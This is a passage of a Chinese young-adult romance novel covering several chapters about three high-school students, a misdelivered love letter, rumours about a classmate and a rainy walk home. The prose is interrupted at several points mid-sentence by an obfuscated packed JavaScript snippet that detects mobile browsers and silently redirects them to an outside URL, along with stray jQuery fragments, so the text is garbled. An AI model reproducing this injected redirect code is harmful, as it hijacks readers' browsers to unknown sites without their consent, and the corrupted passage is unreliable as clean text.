浅粉色的信封,手工折叠的痕迹再明显不过,上面用板板正正的笔迹写着“赵嘉树收”几个大字,下面还用红色签字笔认认真真地画了一颗爱心。 纵是孟惜荫再迟钝,也看得出来这是一封情书。 周濛喜欢嘉树哥? 孟惜荫眨了眨眼。 等她回过神来,周濛已经双手捂脸一路小跑地冲进了教室。 第一次被委托干这种“大事”,孟惜荫有种莫名的紧张,她把情书收进口袋,装作若无其事的样子走进教室。早自习的铃声响起,她很快就没有心思再去想乱七八糟的事了,急忙把昨晚没写完的试卷拿出来,打算趁着老张还没来再补救一下。 余光无意间扫了一眼旁边的座位,是空的。 ——陈青屿没来上课。 * 一整个上午,陈青屿都没有出现。 同学们对此似乎见怪不怪,课间休息的时候,孟惜荫听见几个男生议论:“哎,陈青屿又没来上课啊?老张也不管管?” “估计又跟谁打架了吧?” “别看人家天天打架斗殴,成绩可稳得很。都高三了,只要不给咱班成绩拖后腿,老张懒得管。” 孟惜荫很少关注别人的成绩,但此刻不知怎么想的,她鬼使神差般伸手,从课本里抽出夹着的几张成绩单,在上面找寻起陈青屿的名字。 6,8,6。 孟惜荫惊异地发现,他的成绩稳定的可怕,基本稳在班级前十,和她的名字中间隔着十几行的距离。 “来来来语文作业都交一下,快点,老师在催了。”语文课代表在敲前桌的桌子,她吓一跳,仿佛做了什么亏心事一般飞快地把成绩单藏好。 作业本被收走,她低头写着手边的练习册,脑子里却在想,陈青屿真的跟人打架了吗?他今天还来上课吗? 一转眼,已经是下午最后一节课。 还有几分钟响铃,教室里嘻嘻哈哈声一片,有男生在追逐打闹,女生凑在一起不知道在说谁的八卦。 陈青屿低着头从后门进来。 校服里是一件灰色套头卫衣,帽子拉的紧紧的,挡住两边侧脸。 他从孟惜荫身边经过,她视线下意识被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793245|158223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸引,瞥见他垂着的左手上一道刺目的伤口,洇着暗红的血。 伤口平直而深,像是有人故意划的,正划在他那道旧疤上面,成了一个狰狞的叉。 她惊了下,几乎是脱口而出:“你手受伤了……” 教室里嘈杂吵闹,只有她的声音清凌凌的,带着惊慌失措的关切,像头受了惊的小鹿。 陈青屿在座位上坐下,眼睛没有看她,“没事。” “叮铃铃——” 铃声响起,吃掉满屋子的吵闹。 数学老师的声音抑扬顿挫,是中年老师独有的激情,可是孟惜荫却一点儿都听不进去。 怎么可能没事呢? 她想。 伤口那么深,如果不及时处理,会感染的吧? 再怎么说对方也帮过她的忙,作为回报,她是不是也应该帮他一次? 怀揣着这样的想法,孟惜荫利用宝贵的晚饭时间跑到了医务室,问校医要了碘伏和绷带。她向校医道过谢,转身往外走,迎面却撞见一个熟悉的人。 “荫荫?你来医务室干什么?”赵嘉树扶着一个一瘸一拐的男生,正要进去。看见孟惜荫手里的东西,他立刻皱起了眉,“你受伤了?让我看看。” “没有,我没受伤……”孟惜荫一时语塞,不知道该怎么解释,好半晌才说,“是我们班的一个同学受伤了。” 赵嘉树这才松了口气,“那就好。你同学伤的严重吗?需不需要我帮忙送他到医务室?” 看陈青屿那个样子,估计是不会来医务室的,孟惜荫攥紧手心里的药水瓶,朝赵嘉树挤出一个笑脸:“不用啦,我能搞定。” “行。那你先回教室吧,我朋友膝盖伤了,我得陪他一会儿。”赵嘉树说。 “好。” 孟惜荫点头,乖乖往外走。 走出去没几步,她好像忽然想起了什么,又停了下来。 周濛的情书此刻就在她的校服口袋里。 要给嘉树哥吗? 孟惜荫把手伸进口袋里,犹豫着。 “怎么了?”见她还没走,赵嘉树安顿好那个受伤的男生,又小跑着出来,“是有什么事吗?” 孟惜荫捏着口袋里的信封,脸上表情有些别扭,她短暂地纠结了一下,还是老老实实地把信封掏了出来。 赵嘉树眼睛里浮起惊讶。只一瞬,他的眼睛就弯了起来,笑容有些羞涩。 “是给我的吗?” “嗯。”孟惜荫声音很小,“是周濛让我给你的。你认识她吗?她是我们班的宣传委员。” 赵嘉树唇角的笑容消失了。他低下头看了一眼手心里少女粉的信封,微蜷的刘海落下来,掩住了眼底的失落。 “不认识。” 暮云铺满天际,落日余晖从雪白绵软的云层里渗下来。 陈青屿看着站在校医室门口的两个人,捂着左臂的手无意识松开,顺着校服裤线滑落。 胳膊上的伤口还在流血。脸上青紫的瘀痕痛到麻木。 孟惜荫背对着他,他看不见她脸上表情,只看见她递给赵嘉树的信封,充满少女情思的粉红,是这个年纪的女生最喜欢的颜色。 偏这时赵嘉树抬起头,视线无意扫过来,他眼底的惊讶让孟惜荫也跟着转头,看见了站在树荫下满身狼狈的他。 陈青屿垂下眼,把帽子拉到最紧。 5. Chapter 4 长久的沉默中,是赵嘉树先开了口,只不过话是对着孟惜荫一个人说的:“你说的那个受伤的同学,是陈青屿?” 孟惜荫“啊”了一声,惊讶于他竟然知道陈青屿的名字,她重又转过来看向赵嘉树,诧异地问:“你认识他?” 赵嘉树微笑了一下:“学生会的老熟人了,光是打架斗殴就被我们抓到过十几次,逃课什么的更不用说了。” 顿了顿,他脸上神色微沉,是对她少见的严肃,声音压低几分,在她耳边叮嘱:“荫荫,离这种人远点。” 他突然靠近,贴在她耳边像是在说些什么悄悄话,那姿势其实已经过分亲昵,但孟惜荫浑然不觉,只在听清他的话语后诧然睁大眼睛。 陈青屿……是这样的人吗? 难道住在荷花巷里的,真的都是坏人? 可是他会帮她把坏掉的画耐心地粘起来,会帮她拎画板,还会对她礼貌地说“抱歉”。 孟惜荫咬起唇。 她觉得陈青屿不是坏学生。 一定不是的。 孟惜荫想的出神,直至陈青屿低着头从她和赵嘉树身边走过,她才骤然回过神来,几乎不经思考:“陈青屿!” 医务室门口,陈青屿的背影挺拔清瘦,茕茕孑立如一株崖边孤立的树。 他停住脚步,转过身来,一只手还拽着帽子,睫毛低垂,眼睛盯着脚边几颗尖棱的石子儿,没有看她。 但她偏偏走过来,白皙手掌伸到他眼皮底下,手心里是碘伏消毒液和一小卷包扎用的绷带。 “给。伤口太深了,还是要处理一下,不然感染了就麻烦了。”孟惜荫说着,声音忽然弱了下去,像是在自言自语,“早知道你会来医务室,我就不来了。” 陈青屿僵了僵,她自言自语毕,眼睛又抬起来看着他,过分清澈,映出他模糊的影子。 禁不住她这样看,陈青屿终于抬起那只伤势较轻的胳膊,接过她递来的东西,低低说了句:“谢谢。” 他转身快步走进医务室,反手把门关上。卫衣帽子太紧,勒得他快要喘不过气,他暴力地把帽子扯下来,颧骨上青紫瘀痕把校医都吓了一跳,一面去拿药,一面摇头念叨着:“现在的学生啊,打架没轻没重的,也不怕闹出人命来。唉……” 结实厚重的铁门隔绝了声音,陈青屿没有听见门外的对话。 “荫荫,你和陈青屿关系很好?”赵嘉树问。 孟惜荫垂下眼睛,“只是普通同学。” 甚至,她昨天才刚刚知道他的名字。 赵嘉树盯着孟惜荫的脸,试图剖析她脸上的表情,他对她的每一个小动作都无比熟悉,每次撒谎,她的睫毛总会扑簌簌地抖动,蝴蝶一样。 可是这次没有,她只是低垂着头,声音糯糯地和他说话。 孟惜荫没有撒谎。 她和陈青屿,只是普通同学的关系。 赵嘉树舒了口气。 孟惜荫不明所以地看着他,他没再追问什么,只无奈地叹了口气:“荫荫,你太善良了。” 目送孟惜荫穿过操场,赵嘉树又回到医务室,不算宽敞的休息室里,陈青屿和他的朋友唐瀚并排坐着,中间只隔了一张椅子的距离。 他目光淡淡扫过陈青屿脸上的伤,没有过多停留,径直朝唐瀚走去。 “医生怎么说?”他帮唐瀚拧开一瓶水递过去。 唐瀚大剌剌地叉着腿,满脸无所谓:“就是扭着了,休息几天就没事了。正好,你帮我请个假,今儿晚自习我就不去了。” 赵嘉树无语地翻了个白眼,这家伙刚才还嚷嚷着要残废了,这会儿倒是满脑子想着怎么逃掉晚自习。 “对了,刚才给你送情书的小姑娘是哪个班的啊?”唐瀚仰脖灌了一大口水,抹了抹嘴巴,“长的挺好看的,比咱班班花好看。哎,不考虑考虑?” 赵嘉树下意识地想要解释,可话到嘴边,却又鬼使神差般地咽了回去。他瞥了一眼坐在一旁的陈青屿,对方整张脸都被帽子挡住,看不见脸上表情,不知道是不是睡着了。 他咳嗽了一下,一本正经地说:“早恋会影响学习。” 唐瀚白他一眼:“得得得,知道你爱学习,我就多余问这话。” 赵嘉树低下头,心里莫名涌起一种做了坏事的罪恶感。 他没有否认唐瀚的话。 哪怕他清楚地知道,那封情书不是孟惜荫给他的。 * 陈青屿手上的绷带,只缠了几天就摘下了。 周一清早,孟惜荫随班级参加完升旗仪式,回到教室,看见陈青屿正趴在课桌上睡觉。他手背上的伤已经结痂脱落,留下一道暗褐色的痕,压在旧疤上面,一深一浅。 看样子,是已经好了。 他们之间又恢复了以前的平静,偶尔说上几句话,陈青屿的语气一如既往的冷淡,但孟惜荫却隐隐察觉到,他对她的态度似乎发生了一点儿难以言明的变化。 她是很敏感的人,总会小心翼翼地捕捉对方细微的情绪,可是陈青屿的情绪藏的太深,她看不透,也不敢深究。 直到周五上午,课间操的时候,她因为不舒服请了假,上完洗手间,迎面撞见陈青屿从老张办公室里出来。 狭长走廊里,他们中间隔着几步的距离,面对面站着。 孟惜荫觉得自己有必要说点儿什么,潜意识里,她想他们已经说过好几句话了,关系应该要比别的同学好上一些。于是她眨了眨眼,问:“老张找你啦?” 陈青屿目光落在她脸上。这时她才后知后觉,她说话的语气过分熟络,似乎越了某种无形的界。 对方眉眼冷淡,看她的眼神疏离、冷静,像块碎了一角的冷玻璃,敞着锋利的尖角,拒绝她的靠近。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793246|158223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈青屿没理她。 孟惜荫扬起的唇角慢慢耷拉了下去,手指无措地绞在一起。 怎么了?发生什么事了吗?明明上周他们的关系还不错,她还以为,他会成为她在这个班级里唯一的朋友呢。 她的表情变化太过生动,明晃晃写在脸上,一丁点情绪都藏不住,整个人仿佛被兜头泼了一盆冷水般蔫了下去,完全是陈青屿意料之外的反应。 他愣住,心口倏然一阵慌乱。 不该这样的。 他太恶劣了,这一刻,陈青屿第一次觉得自己是个坏人,还是十恶不赦的那种。 可是,只要一想起她递给赵嘉树的那封情书,他的喉咙里就会一阵酸涩,像是吃了一块酸掉牙的糖,粘在喉咙里,怎么咽都咽不下去。 赵嘉树那么优秀,她喜欢他,无可厚非,嘉树惜荫,他们连名字都天生一对,而他呢,他什么都不是。 楼下传来轰隆隆的脚步声,是结束了课间操的学生们陆陆续续在上楼。 陈青屿迈开脚步朝教室走去,经过孟惜荫身边时,她已经抬起脸,只是脸上没了刚才扬起的笑容,好像什么事都没有发生过一样。 两个人一前一后走进教室,一直到其他同学回来、老师走进教室,孟惜荫再也没有和他说过一句话。 那个上午,陈青屿几次三番想找机会跟她说话,都没能成功。一是因为他一向沉默寡言,真要开口,也不知道该说些什么合适,二是班里那个宣传委员周濛一到课间就跑过来围着孟惜荫转,让他根本没有和孟惜荫说话的机会。 两个女生凑在一起窃窃私语,不知道在说什么悄悄话,他不想窥听别人的秘密,索性起身出去上厕所。 回来的时候,周濛还赖在孟惜荫的座位旁没走,他从狭窄过道里挤过去,恰巧听见她们的对话。 “哎,问你呢!赵嘉树有没有说什么呀?”周濛晃着孟惜荫的胳膊,眼睛亮晶晶。 “什么都没说呀。”孟惜荫很无奈,“我把情书给他了,他拿走了,但是什么都没说。” 周濛着急起来:“那他看了没有啊?” “我怎么知道。”纵是孟惜荫再有耐心,也快被周濛的死缠烂打逼疯了。 周濛全然没有发现对方的崩溃,嘴里还在碎碎念:“什么都没说那就是还有机会……要不我再写一封?” 陈青屿眉心微动。 那封情书……是周濛写给赵嘉树的? 上课铃响起,周濛嘴里还在念叨着什么,一脸不情愿地走回自己的座位。 过道空下来,视线重新变得清晰。 陈青屿捏着一支黑色签字笔,他太过用力,指节都微微凸起,他侧过脸看向孟惜荫,对方正翻着一本厚厚的笔记,似乎全神贯注,一门心思都扑在学习上。 只是那笔记被她翻得哗哗作响,好像在跟谁赌气似的。 6. Chapter 5 孟惜荫确实在赌气。 只不过赌气的对象不是陈青屿,而是她自己。 算起来,她和陈青屿说过的话连一页草稿纸都写不满,她怎么就能自作多情地认定,对方和她是朋友了呢? 她当时的样子一定像个笨蛋吧。 孟惜荫懊恼地垂下眼睛,笔尖在试卷上划出一道尖锐的痕。 上午剩下的时间,她把自己埋在一张又一张试卷里,低着头奋笔疾书,试图用这种笨拙的方式来分散注意力。 放学铃声响起,老张还没说完“下课”两个字,坐在后门旁边的几个男生已经一溜烟地冲了出去,利用地理位置的优越,成功赢在了抢饭的起跑线上。 孟惜荫还在和几道英语错题作斗争,周濛跑过来敲了一下她的脑袋:“走啊,吃饭去。” 孟惜荫错愕地抬起头,眨了眨眼,有些迷惑。 见她一脸呆愣,周濛无语扶额:“不是说好了请你吃饭吗?快走啦,不然抢不到红烧排骨了。” 食堂里人山人海,每个窗口前都排起了长队,三个年级的学生挤在一起,场面颇有几分混乱。周濛在如此混乱的场景中拿下了最后一份红烧排骨,十分得意,心情愉悦地哼着小曲儿,带着孟惜荫挑了个角落坐下。 “给。”她大大方方地夹起一块排骨放进孟惜荫的盘子里。 “谢谢。”孟惜荫拘谨地咬了一口排骨。肉质软烂,吸满了汤汁,味道比陶玉茹做的好多了。 周濛朝她笑了下:“谢什么呀。你帮了我的忙,我请你吃饭,这不是我们说好的吗?” 话是这么说,但孟惜荫还是觉得有些不自在。从高一开始,她一直是独自一人去食堂吃饭,班里的女生都有三三两两的吃饭小团体,但是从来没有人邀请过她。 周濛是个话痨,哪怕在吃饭,嘴里的话也一直没停过。一会儿说说班里哪个女生和高二的学弟在谈恋爱,一会儿说说隔壁班的谁谁谁前几天刚被甩,妥妥的八卦大王。那架势,好像要和孟惜荫成为朋友,第一步就是要把她知道的情报都全盘托出,才显得真心实意。 孟惜荫默默扒着碗里的饭,偶尔附和几声,充当起一个合格的听众。 说到最后,周濛的嗓子都快哑了,她拿起吸管扎破手边的绿豆沙冰猛吸了一口,见孟惜荫还是一副淡淡神情,忍不住问:“你是不是不喜欢听别人的八卦啊。” 孟惜荫摇摇头,说:“不是不喜欢。只是觉得别人的事,和自己没什么关系。” 周濛沉默了。 孟惜荫夹菜的动作顿了顿,有些后悔,她不该这么说的,对方这样热切地和她分享,她不该扫兴地泼人家冷水。她正斟酌着措辞想说点什么来补救一下,周濛忽然贼兮兮地凑近,脸几乎贴到她耳边去:“那我再跟你说一个劲爆的,保证你听了还想听。” “咱班那个陈青屿,你知道吧?就坐你旁边的那个。”周濛煞有介事地压低声音,“我听别人说,他杀过人。” “啪”的一声,孟惜荫手里的筷子掉在了桌上。 她不可置信地抬起脸,震惊地瞪大眼睛:“这怎么可能?” 周濛撇撇嘴:“怎么不可能?他在学校里就天天打架,在校外指不定能干出什么事来呢。听说高二的时候,他经常带着一身血来上课,可吓人了。” 孟惜荫张了张嘴,好半天才艰难地挤出一句话来:“那也不能证明他杀过人吧?” 周濛把最后一块排骨放进嘴里,含糊不清地说:“我也是听别人说的。他家好像住那个什么荷花巷,北城有名的黑色地段,据说有人亲眼看见他拎着刀从里面出来,身上全是血……” 热乎乎的冬瓜汤冷了下去,凝成黏糊糊的一层。 孟惜荫没心情再吃东西,捏着勺子呆呆地扒拉着剩下的饭。 她想起他手背上的旧疤、脸上的青紫和流血的伤口,还有那个雨夜他们在荷花巷口的分别。 孟惜荫后背泛起阵阵凉意,浑身发冷。 周濛还在滔滔不绝地往下说,越说越夸张:“他天天跟人打架,老张都不管他,这说明什么?说明人家有靠山啊。说不定他有个特有钱的爹,他杀了人都能把他从局子里捞出来呢……” 话没说完,周濛忽地止住了声音。 孟惜荫还在发愣,一道瘦高身影从她旁边绕了过去,坐在了斜对面的位置上。 “这里有人坐吗?”陈青屿抬眼。 “没有,没有。” 周濛吓得汗毛倒竖,这种背后说人闲话然后被正主抓个正着的尴尬情景,让她恨不得当场挖个地洞把自己埋进去,她急忙端着餐盘起身,一边讪讪笑着,一边拼命朝孟惜荫使眼色:“我们吃完了,走吧。” 孟惜荫想起身,可陈青屿的视线落在她脸上,像钉子一般把她钉在座位上动弹不得。 周濛已经逃出十几步远,见孟惜荫还呆坐着不动,恨铁不成钢地瞪了她一眼,咬咬牙走了。 那张小小的桌子旁,只剩孟惜荫和陈青屿。 她低头搅动着碗里已经冷掉的汤,心神不宁地想,陈青屿肯定听到了周濛说的那些话。 空气僵持片刻,陈青屿低声开口:“是他们乱传的。我没杀过人。” 好似吃了一枚定心丸,孟惜荫紧绷的脊背一下子松懈下来。 对嘛,想想就知道,现在是法治社会,哪有随随便便就杀人的?更何况他那么善良,怎么可能是那种穷凶极恶的坏人呢? 她悄悄舒了口气,闷闷地嗯了一声。 陈青屿抿了下唇,又说:“上午我心情不太好,你不要生气。” 孟惜荫表情凝固一瞬,讶然眨眼。 陈青屿是在跟她道歉吗? 可是他看起来,并不像是会主动放低姿态的人。 默了默,孟惜荫说:“我没生气。” 她是很容易原谅别人的性子,因为这个,她小时候没少挨陶玉茹的教训。她的气来的快,去的也快,就像眼下,陈青屿一句话就让她忘记了整个上午的郁闷和不开心。 孟惜荫舀起一块冬瓜,忽然又抬起头,像是想起了很重要的事情:“是老张训你了吗?” 她记得那时他刚从老张办公室出来,便自然而然联想到他的坏心情和老张有关。 陈青屿沉默半晌,似是不知道该如何对她解释,周遭嘈杂喧嚷,端着餐盘的学生从他们身旁狭窄过道匆匆经过,他搁下筷子抬眼,对上孟惜荫专注望着他的、清亮的眼睛。 他心头忽地一颤,强装镇定地捏紧筷子,声音很轻:“没有。” 那天,她和陈青屿并没有太多的对话,从食堂出来,他们就像两个碰巧遇见的普通同学,一路无话地回到教室。 只是那天之后,陈青屿好像突然对她“话多”了起来。 他会主动帮她挪画板,借给她批改用的红笔,看到她在为难题发愁,会默默把解题思路写在纸条上放在她的课本下面。 临近六月,时间越来越紧迫。早自习上哈欠声连天,和笔尖的唰唰声交叠在一起,谁也不敢松懈。 但那一阵子,孟惜荫的心情却出奇地好。 她想,她和陈青屿应该是朋友了。 * 五月末,天气渐热,空气又闷又潮,让人心烦意乱。 得知陶玉茹给她报了个周末补习班,孟惜荫的心情瞬间降到了冰点。她知道母亲的决定一向不容反驳,再怎么不情愿,也只能咽下一肚子的怨气,闷闷不乐地背起书包出门。 “虽然你要考艺术院校,但文化课也不能落下。还有一个月就高考了,这种关键时刻更要加把劲,冲刺一下。”吃饭的时候,陶玉茹板着脸对她说。 上次月考的成绩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793247|158223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没有下来,但孟惜荫心里有数,她的成绩虽然没有下滑太多,但也不会有太大的进步了。 小区门口,赵嘉树靠在自行车旁等她,远远看见她愁眉苦脸的样子,忍不住笑:“哟,这是怎么啦?谁惹你不高兴了?” 孟惜荫坐上自行车后座,一边吃着热乎乎的手抓饼,一边把补习班的事对赵嘉树说了。 “本来每周的美术课和作业就已经占用我很多时间了,现在又要我上补习班,我怕我连正常的复习进度都跟不上了。”她撇着嘴,用力咬下一口火腿肠。 赵嘉树安慰她:“不会的。阿姨也是为了你好,文化课分数高一些,报志愿的时候就能有更多的选择呀。” 孟惜荫本来攒了一肚子的抱怨要说,可听见赵嘉树向着陶玉茹说话,瞬间没了倾诉的欲望。她默默把火腿咽进肚子里,一路上再没开口。 这种坏心情持续了整整一天。 最后一节晚自习的时候,老张拿着一摞成绩单进来,拉着脸让学习委员发下去。孟惜荫一行一行看过去,在中间的位置找到了自己的名字,出乎意料的,她的名次竟然进步了五名。 孟惜荫指尖上移,下意识地寻找起陈青屿的名字。 班级第七,稳得不能再稳。 成绩单的下发在班上引起了小小的轰动。前后桌聚在一起悄悄讨论着,打破了原本的安静。 放学铃响的时候,孟惜荫还在盯着桌面上的成绩单发呆。 为什么她无论怎么努力都只能取得微小的进步呢。 陈青屿这次年级排名又进步了十几名。 嘉树哥应该又是第一吧? “不走吗?” 直到陈青屿轻轻敲了下她的桌面,她才骤然回神,手指下意识攥紧成绩单的一角,声音里有小小的失落:“收拾下就走。” 窗外夜色正浓,淅淅沥沥的雨落下来,冲刷着玻璃上的薄灰。 又下雨了。 她没有带伞,恰巧今天赵嘉树又因为身体不舒服请了半天的假,不能和她一起回去。大概这就是屋漏偏逢连夜雨吧,遇上心情不好的时候,什么糟心事都上赶着聚在一起。 孟惜荫恹恹起身,发现陈青屿正在教室后门口等她。 他们并肩出去,穿过漆黑的走廊,下了台阶,来到教学楼门口。 雨仍在下,潮湿水汽扑在她脸上。 这场雨来的突然,远处的操场上,许多没有带伞的学生把书包举过头顶往校门口跑。 孟惜荫犹豫了一下,想伸出手去试探一下雨的大小,一件校服外套先一步落在了她的头上,把她整个脑袋都罩在里面。 她愕然转头,小小的脸从宽大的校服里探出来,见陈青屿穿一件洗的发白的短袖,已经走进雨里。 校服上有一股淡淡的香皂味道。 孟惜荫迟疑一瞬,快走几步追上去,雨声渐大,她紧紧攥着披在身上的校服,贴近他耳边大声说:“你会感冒的!” 陈青屿放缓了脚步,答非所问:“你今天好像心情不好。” “……嗯,是有一点。” 是因为月考成绩吗? 他心里这样想着,但话到嘴边,却变成了另外的词句:“明天你有空的话,可以来我家复习。” 隆隆雨声里,孟惜荫心跳倏然停跳一拍。 脑海中不由自主地浮现出那个总是堆满垃圾的荷花巷口,每次经过,她都低着头匆匆走过,那条巷对她而言,是不属于她的地界,是不敢跨越的禁区。 明天,星期六,她应该乖乖背着书包,去陶玉茹给她报的补习班,做冗长而乏味的试卷。 惊雷乍响,白光划破天际。 她侧眸望向陈青屿,有雨水从他额头滑落,打湿了他身上单薄的短袖。 那一瞬间,孟惜荫做了一个大胆的决定。 7. Chapter 6 “嘉树,外面雨那么大,你去哪儿啊?你感冒还没好,小心再着凉!”女人从厨房里探出头,对着客厅的方向忧心忡忡地喊。 “妈,我很快就回来。”赵嘉树撑开伞,头也不回地跑进雨里。 突如其来的一场发烧,让从不缺课的赵嘉树不得不请了半天假在家里休息。吃过晚饭,又睡了一会儿,他的体温总算降了下来,正准备拿出试卷做几套题,就看见外面下起了雨。 早上出门的时候还是艳阳高照呢。 他很了解孟惜荫,这种天气,她一定不会带伞的。 离高考的日子越来越近,不能在这种时候淋湿了感冒。几乎没有任何犹豫,赵嘉树随手披了件外套,从门口的架子上拎了把伞,就匆匆出门了。 小区门口,刚翻修不久的马路上已经积了薄薄一层雨水,路旁一盏盏灯幽幽亮着,延伸进望不见底的夜色里。 赵嘉树快步往学校的方向走,时不时低头看一眼手表。 这会儿学校应该已经下了晚自习,不知道来不来得及…… 忽然,一阵脚步声从不远处的路口传来。 赵嘉树迟疑地停了下来。他警惕地朝四周看了看,前面不远就是荷花巷,那巷子里一向乱的很,这会儿又这么晚了,难不成里面又有人在打架闹事? 脚步声越来越近。 他略一犹豫,往后退了几步,躲在一处不起眼的柱子后面。 夜色昏昧,只月光寂寂照着。 一件校服盖在孟惜荫头顶,为她挡住摇曳雨丝,一个清瘦挺拔的男生走在她身侧,身上素白短袖已经全部湿透。 一男一女并肩走近。 赵嘉树看清了,那个走在孟惜荫身边的男生,是陈青屿。 他视线凝在孟惜荫披着的那件校服上,握着伞柄的手陡然攥紧,指甲尖用力嵌进掌心的肉里。 两人的身影消失在身后的雨幕中,他终于无声松开拳头,格子伞跌在脚边,发出一声失落的叹息。 “嘉树啊,快别折腾了,赶快把这碗姜汤喝了躺下睡觉。”见他回来,母亲祁惠急忙迎上来,一手接过他脱下来的外套,一手递上刚熬好的姜汤。 赵嘉树没作声,接过祁惠递来的碗,咕嘟咕嘟猛灌了几大口。 姜汤滚烫,辣得他差点掉眼泪。 祁惠担忧地看着他:“你看你,又淋了一身雨,要不要洗个澡?一会儿睡觉前记得再测一遍体温。” “知道了妈,我先去休息了。”赵嘉树闷闷地说,转头把自己关进卧室。 祁惠望着那扇紧闭的门,长长地叹了口气。 “这孩子,最近也不知道是怎么了。眼看着就要高考了,这次月考成绩一下子下滑这么多……唉……” 她摇了摇头,转身走进厨房,打算再煮一碗雪梨汤。 卧室里,桌上的小台灯还亮着,柔和的光照在一张印刷清晰的成绩单上。 赵嘉树趴在桌边,盯着上面一行行分数发呆。 他从小就是个乖孩子,无论发生什么事情,从来不会对父母隐瞒。 但这一次,赵嘉树在心里藏了一个秘密。 马上就是高考前的最后一次分班了。 按照他这次的成绩,他应该会和孟惜荫分到同一个班。 * 雨下了一整夜。 孟惜荫出门的时候,陶玉茹已经不在家,即便如此,她仍然有一种做贼心虚的感觉。 毕竟,这是她第一次违背陶玉茹的意愿做事。 天空乌云未散,阴沉压抑。 孟惜荫的心情却很愉悦,她一路哼着小曲儿走出小区大门,新换的白色帆布鞋踩过地上的积水,带着一点含蓄的雀跃。 逃掉补习班,去朋友家里复习,这是孟惜荫以前想都不敢想的事情。此刻她背着书包站在荷花巷口,呼吸着雨后湿润的空气,莫名有一种逃离牢笼的畅快感觉。 好舒服啊。 清晨的微风丝丝缕缕拂过鬓颊,是她从来没有感受过的惬意和自在。 乱糟糟的巷子口,垃圾凌乱地堆着,小卖部的卷帘门拉了一半,塑料箱横七竖八躺了一地。 陈青屿从转角处出来,手里拎着刚买的早餐。 “给。” “谢谢。”孟惜荫接过来,和他并肩往巷子里走。她忍不住悄悄用余光打量陈青屿,他今天没有穿校服,白衣长裤,衬出干净挺拔的骨骼,手上松松缠了几圈绷带,包裹住大半个手掌。 他又受伤了吗? 小巷里土路泥泞,陈青屿提醒她:“路不好走,别踩到泥。” “啊,好。”她这才回神,匆忙把视线从他手上移开,盯着脚下的路。 小巷幽深,尽头却并非死路,顺着一处细窄路口转过去,又见另一片天地。 陈青屿的家就在这里。 几间矮旧平房挨挨挤挤,灰白石墙上挂着蛛网,小路两侧堆着许久无人用的红砖白灰,风一扬,一脸尘沙。 孟惜荫没有见过这样破落的小巷、这样古旧的平房,她从小生活在陶玉茹为她精心打造的温室里,不曾见过世界的另一面,这里的一切于她而言,恰应和着她此刻的心情,新奇又雀跃。 这里好像并没有大人们说的那么恐怖呀。 她跟在陈青屿身后,好奇地打量着四周景象。 在一间不起眼的小房子前,陈青屿停了下来。他拿出钥匙插进锁孔,转头见孟惜荫还在四处张望,下意识出声提醒:“小心台阶。” 话音将落,孟惜荫脚踝已经磕在石阶上,陈青屿蹙眉,急忙伸手去扶,却又在握住她纤细手腕时惊觉冒失。 她的手腕温热,像春天淋了雨的草芽,他人生第一次面临这样手足无措的境地,指节僵了片刻,最后沉默地松了力气,只拽住一小截她的袖口。 “没事吧?” 脚踝处隐隐传来刺痛,不想让陈青屿担心,她糯糯地说有一点点疼,不要紧的,可陈青屿已经蹲下身去,一只膝盖半撑着地面,低头去看她脚踝上的伤。 冷硬的石地上积着灰,弄脏了陈青屿的裤子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793248|158223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他指尖提起她的裤腿,掠起一阵细小的风,温柔的、隐秘的,在孟惜荫的心底,催生出许多难以名状的、稚嫩羞涩的芽。 她低头,视线里是他清瘦背脊,她愣愣看着,他忽而抬头,两道视线相撞,停顿数秒,又各怀心事地退开。 “擦破了一点皮。”陈青屿起身,拧了一下还插在锁孔里的钥匙,推开门,“我去拿创可贴。” 门一推开,难闻呛鼻的酒气扑面而来。 他皱了下眉,先一步进了屋,把几扇小窗全部打开,才回身去迎孟惜荫。 “我以为我爸爸今天不在家。”陈青屿一边从门口鞋柜里拿一双干净的拖鞋给她,一边低声解释,“他喝多了就会睡觉,不会打扰到你,我保证。” 